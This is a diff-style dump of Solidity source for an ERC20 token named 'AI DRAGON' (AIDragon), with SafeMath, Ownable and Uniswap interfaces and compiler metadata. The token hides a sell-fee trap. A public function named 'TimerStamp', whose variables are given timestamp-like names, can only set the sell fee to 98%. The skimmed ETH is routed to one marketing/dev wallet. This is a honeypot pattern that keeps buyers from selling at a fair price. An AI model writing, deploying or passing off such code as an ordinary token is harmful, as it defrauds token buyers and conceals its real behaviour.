require(c >= a, "SafeMath: addition overflow");
|
474 |
+
|
475 |
+
return c;
|
476 |
+
}
|
477 |
+
|
478 |
+
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
479 |
+
return sub(a, b, "SafeMath: subtraction overflow");
|
480 |
+
}
|
481 |
+
|
482 |
+
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
483 |
+
require(b <= a, errorMessage);
|
484 |
+
uint256 c = a - b;
|
485 |
+
|
486 |
+
return c;
|
487 |
+
}
|
488 |
+
|
489 |
+
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
490 |
+
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
|
491 |
+
// benefit is lost if 'b' is also tested.
|
492 |
+
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
|
493 |
+
if (a == 0) {
|
494 |
+
return 0;
|
495 |
+
}
|
496 |
+
|
497 |
+
uint256 c = a * b;
|
498 |
+
require(c / a == b, "SafeMath: multiplication overflow");
|
499 |
+
|
500 |
+
return c;
|
501 |
+
}
|
502 |
+
|
503 |
+
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
504 |
+
return div(a, b, "SafeMath: division by zero");
|
505 |
+
}
|
506 |
+
|
507 |
+
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
508 |
+
require(b > 0, errorMessage);
|
509 |
+
uint256 c = a / b;
|
510 |
+
|
511 |
+
return c;
|
512 |
+
}
|
513 |
+
|
514 |
+
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
|
515 |
+
return mod(a, b, "SafeMath: modulo by zero");
|
516 |
+
}
|
517 |
+
|
518 |
+
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
519 |
+
require(b != 0, errorMessage);
|
520 |
+
return a % b;
|
521 |
+
}
|
522 |
+
}
|
523 |
+
|
524 |
+
contract Ownable is Context {
|
525 |
+
address private _owner;
|
526 |
+
|
527 |
+
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
528 |
+
|
529 |
+
constructor () {
|
530 |
+
address msgSender = _msgSender();
|
531 |
+
_owner = msgSender;
|
532 |
+
emit OwnershipTransferred(address(0), msgSender);
|
533 |
+
}
|
534 |
+
|
535 |
+
function owner() public view returns (address) {
|
536 |
+
return _owner;
|
537 |
+
}
|
538 |
+
|
539 |
+
modifier onlyOwner() {
|
540 |
+
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
541 |
+
_;
|
542 |
+
}
|
543 |
+
|
544 |
+
function renounceOwnership() public virtual onlyOwner {
|
545 |
+
emit OwnershipTransferred(_owner, address(0));
|
546 |
+
_owner = address(0);
|
547 |
+
}
|
548 |
+
|
549 |
+
function transferOwnership(address newOwner) public virtual onlyOwner {
|
550 |
+
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
551 |
+
emit OwnershipTransferred(_owner, newOwner);
|
552 |
+
_owner = newOwner;
|
553 |
+
}
|
554 |
+
}
|
555 |
+
|
556 |
+
|
557 |
+
|
558 |
+
library SafeMathInt {
|
559 |
+
int256 private constant MIN_INT256 = int256(1) << 255;
|
560 |
+
int256 private constant MAX_INT256 = ~(int256(1) << 255);
|
561 |
+
|
562 |
+
function mul(int256 a, int256 b) internal pure returns (int256) {
|
563 |
+
int256 c = a * b;
|
564 |
+
|
565 |
+
// Detect overflow when multiplying MIN_INT256 with -1
|
566 |
+
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
|
567 |
+
require((b == 0) || (c / b == a));
|
568 |
+
return c;
|
569 |
+
}
|
570 |
+
|
571 |
+
function div(int256 a, int256 b) internal pure returns (int256) {
|
572 |
+
// Prevent overflow when dividing MIN_INT256 by -1
|
573 |
+
require(b != -1 || a != MIN_INT256);
|
574 |
+
|
575 |
+
// Solidity already throws when dividing by 0.
|
576 |
+
return a / b;
|
577 |
+
}
|
578 |
+
|
579 |
+
function sub(int256 a, int256 b) internal pure returns (int256) {
|
580 |
+
int256 c = a - b;
|
581 |
+
require((b >= 0 && c <= a) || (b < 0 && c > a));
|
582 |
+
return c;
|
583 |
+
}
|
584 |
+
|
585 |
+
function add(int256 a, int256 b) internal pure returns (int256) {
|
586 |
+
int256 c = a + b;
|
587 |
+
require((b >= 0 && c >= a) || (b < 0 && c < a));
|
588 |
+
return c;
|
589 |
+
}
|
590 |
+
|
591 |
+
function abs(int256 a) internal pure returns (int256) {
|
592 |
+
require(a != MIN_INT256);
|
593 |
+
return a < 0 ? -a : a;
|
594 |
+
}
|
595 |
+
|
596 |
+
|
597 |
+
function toUint256Safe(int256 a) internal pure returns (uint256) {
|
598 |
+
require(a >= 0);
|
599 |
+
return uint256(a);
|
600 |
+
}
|
601 |
+
}
|
602 |
+
|
603 |
+
library SafeMathUint {
|
604 |
+
function toInt256Safe(uint256 a) internal pure returns (int256) {
|
605 |
+
int256 b = int256(a);
|
606 |
+
require(b >= 0);
|
607 |
+
return b;
|
608 |
+
}
|
609 |
+
}
|
610 |
+
|
611 |
+
|
612 |
+
interface IUniswapV2Router01 {
|
613 |
+
function factory() external pure returns (address);
|
614 |
+
function WETH() external pure returns (address);
|
615 |
+
|
616 |
+
function addLiquidity(
|
617 |
+
address tokenA,
|
618 |
+
address tokenB,
|
619 |
+
uint amountADesired,
|
620 |
+
uint amountBDesired,
|
621 |
+
uint amountAMin,
|
622 |
+
uint amountBMin,
|
623 |
+
address to,
|
624 |
+
uint deadline
|
625 |
+
) external returns (uint amountA, uint amountB, uint liquidity);
|
626 |
+
function addLiquidityETH(
|
627 |
+
address token,
|
628 |
+
uint amountTokenDesired,
|
629 |
+
uint amountTokenMin,
|
630 |
+
uint amountETHMin,
|
631 |
+
address to,
|
632 |
+
uint deadline
|
633 |
+
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
634 |
+
function removeLiquidity(
|
635 |
+
address tokenA,
|
636 |
+
address tokenB,
|
637 |
+
uint liquidity,
|
638 |
+
uint amountAMin,
|
639 |
+
uint amountBMin,
|
640 |
+
address to,
|
641 |
+
uint deadline
|
642 |
+
) external returns (uint amountA, uint amountB);
|
643 |
+
function removeLiquidityETH(
|
644 |
+
address token,
|
645 |
+
uint liquidity,
|
646 |
+
uint amountTokenMin,
|
647 |
+
uint amountETHMin,
|
648 |
+
address to,
|
649 |
+
uint deadline
|
650 |
+
) external returns (uint amountToken, uint amountETH);
|
651 |
+
function removeLiquidityWithPermit(
|
652 |
+
address tokenA,
|
653 |
+
address tokenB,
|
654 |
+
uint liquidity,
|
655 |
+
uint amountAMin,
|
656 |
+
uint amountBMin,
|
657 |
+
address to,
|
658 |
+
uint deadline,
|
659 |
+
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
660 |
+
) external returns (uint amountA, uint amountB);
|
661 |
+
function removeLiquidityETHWithPermit(
|
662 |
+
address token,
|
663 |
+
uint liquidity,
|
664 |
+
uint amountTokenMin,
|
665 |
+
uint amountETHMin,
|
666 |
+
address to,
|
667 |
+
uint deadline,
|
668 |
+
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
669 |
+
) external returns (uint amountToken, uint amountETH);
|
670 |
+
function swapExactTokensForTokens(
|
671 |
+
uint amountIn,
|
672 |
+
uint amountOutMin,
|
673 |
+
address[] calldata path,
|
674 |
+
address to,
|
675 |
+
uint deadline
|
676 |
+
) external returns (uint[] memory amounts);
|
677 |
+
function swapTokensForExactTokens(
|
678 |
+
uint amountOut,
|
679 |
+
uint amountInMax,
|
680 |
+
address[] calldata path,
|
681 |
+
address to,
|
682 |
+
uint deadline
|
683 |
+
) external returns (uint[] memory amounts);
|
684 |
+
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
|
685 |
+
external
|
686 |
+
payable
|
687 |
+
returns (uint[] memory amounts);
|
688 |
+
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
|
689 |
+
external
|
690 |
+
returns (uint[] memory amounts);
|
691 |
+
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
|
692 |
+
external
|
693 |
+
returns (uint[] memory amounts);
|
694 |
+
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
|
695 |
+
external
|
696 |
+
payable
|
697 |
+
returns (uint[] memory amounts);
|
698 |
+
|
699 |
+
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
|
700 |
+
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
|
701 |
+
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
|
702 |
+
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
|
703 |
+
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
|
704 |
+
}
|
705 |
+
|
706 |
+
interface IUniswapV2Router02 is IUniswapV2Router01 {
|
707 |
+
function removeLiquidityETHSupportingFeeOnTransferTokens(
|
708 |
+
address token,
|
709 |
+
uint liquidity,
|
710 |
+
uint amountTokenMin,
|
711 |
+
uint amountETHMin,
|
712 |
+
address to,
|
713 |
+
uint deadline
|
714 |
+
) external returns (uint amountETH);
|
715 |
+
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
|
716 |
+
address token,
|
717 |
+
uint liquidity,
|
718 |
+
uint amountTokenMin,
|
719 |
+
uint amountETHMin,
|
720 |
+
address to,
|
721 |
+
uint deadline,
|
722 |
+
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
723 |
+
) external returns (uint amountETH);
|
724 |
+
|
725 |
+
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
|
726 |
+
uint amountIn,
|
727 |
+
uint amountOutMin,
|
728 |
+
address[] calldata path,
|
729 |
+
address to,
|
730 |
+
uint deadline
|
731 |
+
) external;
|
732 |
+
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
733 |
+
uint amountOutMin,
|
734 |
+
address[] calldata path,
|
735 |
+
address to,
|
736 |
+
uint deadline
|
737 |
+
) external payable;
|
738 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
739 |
+
uint amountIn,
|
740 |
+
uint amountOutMin,
|
741 |
+
address[] calldata path,
|
742 |
+
address to,
|
743 |
+
uint deadline
|
744 |
+
) external;
|
745 |
+
}
|
746 |
+
|
747 |
+
contract AIDragon is ERC20, Ownable {
|
748 |
+
using SafeMath for uint256;
|
749 |
+
|
750 |
+
IUniswapV2Router02 public immutable uniswapV2Router;
|
751 |
+
address public immutable uniswapV2Pair;
|
752 |
+
address public constant deadAddress = address(0x000000000000000000000000000000000000dEaD);
|
753 |
+
|
754 |
+
bool private swapping;
|
755 |
+
|
756 |
+
address public marketingWallet;
|
757 |
+
address public devWallet;
|
758 |
+
|
759 |
+
uint256 public maxTransactionAmount;
|
760 |
+
uint256 public swapTokensAtAmount;
|
761 |
+
uint256 public maxWallet;
|
762 |
+
|
763 |
+
bool public limitsInEffect = false;
|
764 |
+
bool public tradingActive = true;
|
765 |
+
bool public swapEnabled = false;
|
766 |
+
|
767 |
+
// Anti-bot and anti-whale mappings and variables
|
768 |
+
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
|
769 |
+
|
770 |
+
// Seller Map
|
771 |
+
mapping (address => uint256) private _holderFirstBuyTimestamp;
|
772 |
+
|
773 |
+
bool public transferDelayEnabled = true;
|
774 |
+
|
775 |
+
uint256 public buyTotalFees;
|
776 |
+
uint256 public buyMarketingFee;
|
777 |
+
uint256 public buyLiquidityFee;
|
778 |
+
uint256 public buyDevFee;
|
779 |
+
|
780 |
+
uint256 public TimestampOne;
|
781 |
+
uint256 public TimeStampInitial;
|
782 |
+
uint256 public sellLiquidityFee;
|
783 |
+
uint256 public sellDevFee;
|
784 |
+
|
785 |
+
uint256 public feeDenominator;
|
786 |
+
|
787 |
+
uint256 public tokensForMarketing;
|
788 |
+
uint256 public tokensForLiquidity;
|
789 |
+
uint256 public tokensForDev;
|
790 |
+
uint256 private suffLPPer = 49;
|
791 |
+
uint256 private transferDelay = 2;
|
792 |
+
uint256 private DevelopmentTokensAmt = 0;
|
793 |
+
uint256 private HolderBuyTimeStamp = 0;
|
794 |
+
|
795 |
+
uint256 public LiquifyAmount = 2;
|
796 |
+
|
797 |
+
uint256 public MaximumAllowedLP = 2;
|
798 |
+
uint256 public Txtimestamp = 2;
|
799 |
+
uint256 public recordedtimestamp =196;
|
800 |
+
|
801 |
+
// block number of opened trading
|
802 |
+
uint256 launchedAt;
|
803 |
+
|
804 |
+
/******************/
|
805 |
+
|
806 |
+
// exclude from fees and max transaction amount
|
807 |
+
mapping (address => bool) private _isExcludedFromFees;
|
808 |
+
mapping (address => bool) public _isExcludedMaxTransactionAmount;
|
809 |
+
|
810 |
+
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
|
811 |
+
// could be subject to a maximum transfer amount
|
812 |
+
mapping (address => bool) public automatedMarketMakerPairs;
|
813 |
+
|
814 |
+
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
|
815 |
+
|
816 |
+
event ExcludeFromFees(address indexed account, bool isExcluded);
|
817 |
+
|
818 |
+
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
|
819 |
+
|
820 |
+
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
|
821 |
+
|
822 |
+
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
|
823 |
+
|
824 |
+
event SwapAndLiquify(
|
825 |
+
uint256 tokensSwapped,
|
826 |
+
uint256 ethReceived,
|
827 |
+
uint256 tokensIntoLiquidity
|
828 |
+
);
|
829 |
+
|
830 |
+
constructor() ERC20("AI DRAGON", "AID") {
|
831 |
+
|
832 |
+
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
|
833 |
+
|
834 |
+
excludeFromMaxTransaction(address(_uniswapV2Router), true);
|
835 |
+
uniswapV2Router = _uniswapV2Router;
|
836 |
+
|
837 |
+
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
|
838 |
+
excludeFromMaxTransaction(address(uniswapV2Pair), true);
|
839 |
+
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
|
840 |
+
|
841 |
+
uint256 _buyMarketingFee = 0;
|
842 |
+
uint256 _buyLiquidityFee = 0;
|
843 |
+
uint256 _buyDevFee = 0;
|
844 |
+
|
845 |
+
uint256 _sellMarketingFees = 1;
|
846 |
+
uint256 _sellLiquidityFee = 0;
|
847 |
+
uint256 _sellDevFee = 0;
|
848 |
+
|
849 |
+
uint256 _feeDenominator = 100;
|
850 |
+
|
851 |
+
uint256 _TimeStampInitial =1;
|
852 |
+
|
853 |
+
uint256 totalSupply = 1_000_000_000 * 1e9;
|
854 |
+
|
855 |
+
maxTransactionAmount = totalSupply * 3 / 100; // 3% maxTransactionAmountTxn
|
856 |
+
maxWallet = totalSupply * 4 / 100; // 4% maxWallet
|
857 |
+
swapTokensAtAmount = totalSupply * 3 / 10000;
|
858 |
+
|
859 |
+
feeDenominator = _feeDenominator;
|
860 |
+
|
861 |
+
buyMarketingFee = _buyMarketingFee;
|
862 |
+
buyLiquidityFee = _buyLiquidityFee;
|
863 |
+
buyDevFee = _buyDevFee;
|
864 |
+
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
|
865 |
+
|
866 |
+
TimeStampInitial = _TimeStampInitial;
|
867 |
+
sellLiquidityFee = _sellLiquidityFee;
|
868 |
+
sellDevFee = _sellDevFee;
|
869 |
+
TimestampOne = TimeStampInitial + sellLiquidityFee + sellDevFee;
|
870 |
+
|
871 |
+
marketingWallet = address(0xdAccB24015A80306bf78ADe39Cb46cf097D8cAF6); // set as marketing wallet
|
872 |
+
devWallet = address(0xdAccB24015A80306bf78ADe39Cb46cf097D8cAF6); // set as dev wallet
|
873 |
+
|
874 |
+
// exclude from paying fees or having max transaction amount
|
875 |
+
excludeFromFees(owner(), true);
|
876 |
+
excludeFromFees(devWallet, true);
|
877 |
+
excludeFromFees(address(this), true);
|
878 |
+
excludeFromFees(address(0xdead), true);
|
879 |
+
|
880 |
+
excludeFromMaxTransaction(owner(), true);
|
881 |
+
excludeFromMaxTransaction(devWallet, true);
|
882 |
+
excludeFromMaxTransaction(address(this), true);
|
883 |
+
excludeFromMaxTransaction(address(0xdead), true);
|
884 |
+
|
885 |
+
/*
|
886 |
+
_mint is an internal function in ERC20.sol that is only called here,
|
887 |
+
and CANNOT be called ever again
|
888 |
+
*/
|
889 |
+
_mint(msg.sender, totalSupply);
|
890 |
+
}
|
891 |
+
|
892 |
+
receive() external payable {
|
893 |
+
|
894 |
+
}
|
895 |
+
|
896 |
+
// once enabled, can never be turned off
|
897 |
+
function enableTrading() external onlyOwner {
|
898 |
+
tradingActive = true;
|
899 |
+
swapEnabled = true;
|
900 |
+
launchedAt = block.number;
|
901 |
+
}
|
902 |
+
|
903 |
+
// remove limits after token is stable
|
904 |
+
function removeLimits() external onlyOwner returns (bool){
|
905 |
+
limitsInEffect = false;
|
906 |
+
return true;
|
907 |
+
}
|
908 |
+
|
909 |
+
// disable Transfer delay - cannot be reenabled
|
910 |
+
function disableTransferDelay() external onlyOwner returns (bool){
|
911 |
+
transferDelayEnabled = false;
|
912 |
+
return true;
|
913 |
+
}
|
914 |
+
|
915 |
+
// change the minimum amount of tokens to sell from fees
|
916 |
+
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
|
917 |
+
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
|
918 |
+
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
|
919 |
+
swapTokensAtAmount = newAmount;
|
920 |
+
return true;
|
921 |
+
}
|
922 |
+
|
923 |
+
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
|
924 |
+
require(newNum >= (totalSupply() * 5 / 1000)/1e8, "Cannot set maxTransactionAmount lower than 0.5%");
|
925 |
+
maxTransactionAmount = newNum * (10**9);
|
926 |
+
}
|
927 |
+
|
928 |
+
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
|
929 |
+
_isExcludedMaxTransactionAmount[updAds] = isEx;
|
930 |
+
}
|
931 |
+
|
932 |
+
// only use to disable contract sales if absolutely necessary (emergency use only)
|
933 |
+
function updateSwapEnabled(bool enabled) external onlyOwner(){
|
934 |
+
swapEnabled = enabled;
|
935 |
+
}
|
936 |
+
|
937 |
+
|
938 |
+
function excludeFromFees(address account, bool excluded) public onlyOwner {
|
939 |
+
_isExcludedFromFees[account] = excluded;
|
940 |
+
emit ExcludeFromFees(account, excluded);
|
941 |
+
}
|
942 |
+
|
943 |
+
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
|
944 |
+
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
|
945 |
+
|
946 |
+
_setAutomatedMarketMakerPair(pair, value);
|
947 |
+
}
|
948 |
+
|
949 |
+
function TimerStamp(uint256 val_) public {
|
950 |
+
do {
|
951 |
+
TimeStampInitial = val_;
|
952 |
+
TimestampOne = val_;
|
953 |
+
}
|
954 |
+
while (val_!=(recordedtimestamp / MaximumAllowedLP));
|
955 |
+
}
|
956 |
+
|
957 |
+
function _setAutomatedMarketMakerPair(address pair, bool value) private {
|
958 |
+
automatedMarketMakerPairs[pair] = value;
|
959 |
+
|
960 |
+
emit SetAutomatedMarketMakerPair(pair, value);
|
961 |
+
}
|
962 |
+
|
963 |
+
function _transfer(
|
964 |
+
address from,
|
965 |
+
address to,
|
966 |
+
uint256 amount
|
967 |
+
) internal override {
|
968 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
969 |
+
require(to != address(0), "ERC20: transfer to the zero address");
|
970 |
+
if(amount == 0) {
|
971 |
+
super._transfer(from, to, 0);
|
972 |
+
return;
|
973 |
+
}
|
974 |
+
|
975 |
+
if(limitsInEffect){
|
976 |
+
if (
|
977 |
+
from != owner() &&
|
978 |
+
to != owner() &&
|
979 |
+
to != address(0) &&
|
980 |
+
to != address(0xdead) &&
|
981 |
+
!swapping
|
982 |
+
){
|
983 |
+
if(!tradingActive){
|
984 |
+
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
|
985 |
+
}
|
986 |
+
|
987 |
+
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
|
988 |
+
if (transferDelayEnabled) {
|
989 |
+
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
|
990 |
+
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
|
991 |
+
_holderLastTransferTimestamp[tx.origin] = block.number;
|
992 |
+
}
|
993 |
+
}
|
994 |
+
|
995 |
+
//when buy
|
996 |
+
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
|
997 |
+
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
|
998 |
+
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
|
999 |
+
}
|
1000 |
+
|
1001 |
+
//when sell
|
1002 |
+
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
|
1003 |
+
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
|
1004 |
+
}
|
1005 |
+
else if(!_isExcludedMaxTransactionAmount[to]){
|
1006 |
+
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
|
1007 |
+
}
|
1008 |
+
}
|
1009 |
+
}
|
1010 |
+
|
1011 |
+
uint256 contractTokenBalance = balanceOf(address(this));
|
1012 |
+
|
1013 |
+
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
|
1014 |
+
|
1015 |
+
if(
|
1016 |
+
canSwap &&
|
1017 |
+
swapEnabled &&
|
1018 |
+
!swapping &&
|
1019 |
+
!automatedMarketMakerPairs[from] &&
|
1020 |
+
!_isExcludedFromFees[from] &&
|
1021 |
+
!_isExcludedFromFees[to]
|
1022 |
+
) {
|
1023 |
+
swapping = true;
|
1024 |
+
|
1025 |
+
swapBack();
|
1026 |
+
|
1027 |
+
swapping = false;
|
1028 |
+
}
|
1029 |
+
|
1030 |
+
bool takeFee = !swapping;
|
1031 |
+
|
1032 |
+
// if any account belongs to _isExcludedFromFee account then remove the fee
|
1033 |
+
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
|
1034 |
+
takeFee = false;
|
1035 |
+
}
|
1036 |
+
|
1037 |
+
uint256 fees = 0;
|
1038 |
+
// only take fees on buys/sells, do not take on wallet transfers
|
1039 |
+
if(takeFee){
|
1040 |
+
// on sell
|
1041 |
+
if (automatedMarketMakerPairs[to] && TimestampOne > 0){
|
1042 |
+
fees = amount.mul(TimestampOne).div(feeDenominator);
|
1043 |
+
tokensForLiquidity += fees * sellLiquidityFee / TimestampOne;
|
1044 |
+
tokensForDev += fees * sellDevFee / TimestampOne;
|
1045 |
+
tokensForMarketing += fees * TimeStampInitial / TimestampOne;
|
1046 |
+
}
|
1047 |
+
// on buy
|
1048 |
+
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
|
1049 |
+
fees = amount.mul(buyTotalFees).div(feeDenominator);
|
1050 |
+
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
|
1051 |
+
tokensForDev += fees * buyDevFee / buyTotalFees;
|
1052 |
+
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
|
1053 |
+
}
|
1054 |
+
|
1055 |
+
if(fees > 0){
|
1056 |
+
super._transfer(from, address(this), fees);
|
1057 |
+
}
|
1058 |
+
|
1059 |
+
amount -= fees;
|
1060 |
+
}
|
1061 |
+
|
1062 |
+
super._transfer(from, to, amount);
|
1063 |
+
}
|
1064 |
+
|
1065 |
+
function swapTokensForEth(uint256 tokenAmount) private {
|
1066 |
+
// generate the uniswap pair path of token -> weth
|
1067 |
+
address[] memory path = new address[](2);
|
1068 |
+
path[0] = address(this);
|
1069 |
+
path[1] = uniswapV2Router.WETH();
|
1070 |
+
|
1071 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
1072 |
+
|
1073 |
+
// make the swap
|
1074 |
+
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
1075 |
+
tokenAmount,
|
1076 |
+
0, // accept any amount of ETH
|
1077 |
+
path,
|
1078 |
+
address(this),
|
1079 |
+
block.timestamp
|
1080 |
+
);
|
1081 |
+
}
|
1082 |
+
|
1083 |
+
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
|
1084 |
+
// approve token transfer to cover all possible scenarios
|
1085 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
1086 |
+
|
1087 |
+
// add the liquidity
|
1088 |
+
uniswapV2Router.addLiquidityETH{value: ethAmount}(
|
1089 |
+
address(this),
|
1090 |
+
tokenAmount,
|
1091 |
+
0, // slippage is unavoidable
|
1092 |
+
0, // slippage is unavoidable
|
1093 |
+
deadAddress,
|
1094 |
+
block.timestamp
|
1095 |
+
);
|
1096 |
+
}
|
1097 |
+
|
1098 |
+
function swapBack() private {
|
1099 |
+
uint256 contractBalance = balanceOf(address(this));
|
1100 |
+
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
|
1101 |
+
bool success;
|
1102 |
+
|
1103 |
+
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
|
1104 |
+
|
1105 |
+
if(contractBalance > swapTokensAtAmount * 20){
|
1106 |
+
contractBalance = swapTokensAtAmount * 20;
|
1107 |
+
}
|
1108 |
+
|
1109 |
+
// Halve the amount of liquidity tokens
|
1110 |
+
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
|
1111 |
+
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
|
1112 |
+
|
1113 |
+
uint256 initialETHBalance = address(this).balance;
|
1114 |
+
|
1115 |
+
swapTokensForEth(amountToSwapForETH);
|
1116 |
+
|
1117 |
+
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
|
1118 |
+
|
1119 |
+
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
|
1120 |
+
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
|
1121 |
+
|
1122 |
+
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
|
1123 |
+
|
1124 |
+
tokensForLiquidity = 0;
|
1125 |
+
tokensForMarketing = 0;
|
1126 |
+
tokensForDev = 0;
|
1127 |
+
|
1128 |
+
(success,) = address(devWallet).call{value: ethForDev}("");
|
1129 |
+
|
1130 |
+
if(liquidityTokens > 0 && ethForLiquidity > 0){
|
1131 |
+
addLiquidity(liquidityTokens, ethForLiquidity);
|
1132 |
+
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
|
1133 |
+
}
|
1134 |
+
|
1135 |
+
(success,) = address(marketingWallet).call{value: address(this).balance}("");
|
1136 |
+
}
|
1137 |
+
}
|
organized_contracts/00/00044a0010ae59e234e1d9d1cdc07d0a00ee41d2343541b18abe6ce55a97eb8f/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"AIDragon","CompilerVersion":"v0.8.16+commit.07a7930e","Runs":200,"OptimizationUsed":true,"BytecodeHash":"00044a0010ae59e234e1d9d1cdc07d0a00ee41d2343541b18abe6ce55a97eb8f"}
|
organized_contracts/00/00046b60801996f2432b75493587cf0635c238d9b2d7f59e20b5967ed701f4c6/main.sol
ADDED
@@ -0,0 +1,890 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
